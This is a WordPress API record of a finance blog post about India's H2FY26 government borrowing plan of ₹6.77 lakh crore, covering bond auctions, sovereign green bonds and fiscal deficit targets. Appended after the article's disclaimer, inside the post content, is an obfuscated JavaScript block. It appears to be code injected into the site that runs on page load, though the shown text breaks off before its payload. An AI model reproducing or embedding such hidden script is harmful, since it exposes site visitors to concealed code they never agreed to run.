{"id":15048,"date":"2025-09-29T09:20:46","date_gmt":"2025-09-29T09:20:46","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15048"},"modified":"2025-09-29T09:20:47","modified_gmt":"2025-09-29T09:20:47","slug":"borrowing-plan","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/borrowing-plan\/","title":{"rendered":"Centre\u2019s Borrowing Plan for H2FY26 Fixed at \u20b96.77 Lakh Crore"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/borrowing-plan\/#Auction_Schedule_and_Structure\" >Auction Schedule and Structure<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/borrowing-plan\/#Sovereign_Green_Bonds\" >Sovereign Green Bonds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/borrowing-plan\/#Fiscal_Targets_and_Revenue_Position\" >Fiscal Targets and Revenue Position<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/borrowing-plan\/#Final_Thought\" >Final Thought<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Centre\u2019s Borrowing Plan for H2FY26 Fixed at \u20b96.77 Lakh Crore<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Centre has announced a borrowing plan of \u20b96.77 lakh crore for the second half of FY26, covering the period from October to March. According to the borrowing calendar released on September 26, the funds will be raised through dated securities, with long-term bonds comprising the bulk of the issuances. The plan also includes a \u20b910,000 crore issuance of sovereign green bonds, showing the government\u2019s commitment to green financing.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-auction-schedule-and-structure\"><span class=\"ez-toc-section\" id=\"Auction_Schedule_and_Structure\"><\/span>Auction Schedule and Structure<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The borrowing plan for H2FY26 outlines 22 auctions from September 29, 2025, to March 6, 2026. The first auction will raise \u20b932,000 crore via 10-year Government of India bonds, with the remaining issuances scheduled to occur at regular intervals.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Securities with a maturity period of more than 10 years will constitute the major portion of the borrowing. Therefore, accounting for over three-fourths of aggregate lending in the second half.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-sovereign-green-bonds\"><span class=\"ez-toc-section\" id=\"Sovereign_Green_Bonds\"><\/span>Sovereign Green Bonds<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Under the borrowing schedule for H2FY26, the Centre has allocated \u20b910,000 crore to be raised through sovereign green bonds. The bonds are planned to finance projects in sectors such as clean energy, climate, and sustainable infrastructure.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By including green financing in the borrowing calendar, the Centre signals its continued focus on balancing fiscal needs with long-term environmental goals.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-fiscal-targets-and-revenue-position\"><span class=\"ez-toc-section\" id=\"Fiscal_Targets_and_Revenue_Position\"><\/span>Fiscal Targets and Revenue Position<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For FY26, the Centre has planned gross borrowings of \u20b914.82 lakh crore, higher than the \u20b914.01 lakh crore set for the last year. The Centre will continue to remain within its 4.4% fiscal deficit target despite witnessing some revenue strain due to the GST reductions on September 4.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Reserve Bank of India has also provided support by handing over a higher-than-anticipated dividend of \u20b92.7 lakh crore. This payment gives the government additional flexibility to manage its finances while keeping the fiscal deficit target on track.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-final-thought\"><span class=\"ez-toc-section\" id=\"Final_Thought\"><\/span>Final Thought<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This borrowing plan for H2 FY26 shows that the government is on track to meet its deficit target, while also prioritising green and sustainable financing in India\u2019s economic strategy.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With auctions scheduled to be over the next few months, the second half of the fiscal year will be essential in determining market liquidity.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.moneycontrol.com\/news\/business\/economy\/centre-announces-borrowing-plan-of-rs-6-77-lakh-crore-for-h2fy26-13584501.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">MoneyControl<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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According to the borrowing calendar released on September 26, the funds will be raised through dated securities, with long-term bonds comprising the bulk of the issuances. The plan also includes a &hellip; <a href=\"https:\/\/shoonya.com\/blog\/borrowing-plan\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Centre\u2019s Borrowing Plan for H2FY26 Fixed at \u20b96.77 Lakh Crore&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15050,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[8472,8477,5879,8476,8475,8473,8474],"class_list":["post-15048","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-borrowing-plan","tag-dividend-stocks","tag-fiscal-year","tag-green-financing","tag-h2-calendar","tag-securities","tag-sovereign-green-bonds"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>H2FY26 Borrowing Plan: 22 Auctions to Raise \u20b96.77 Lakh Crore<\/title>\n<meta name=\"description\" content=\"The Centre announced a borrowing plan of \u20b96.77 lakh crore for H2 FY26, including sovereign green bonds, with 22 auctions scheduled until March 2026.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/borrowing-plan\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"H2FY26 Borrowing Plan: 22 Auctions to Raise \u20b96.77 Lakh Crore\" \/>\n<meta property=\"og:description\" content=\"The Centre announced a borrowing plan of \u20b96.77 lakh crore for H2 FY26, including sovereign green bonds, with 22 auctions scheduled until March 2026.\" \/>\n<meta property=\"og:url\" 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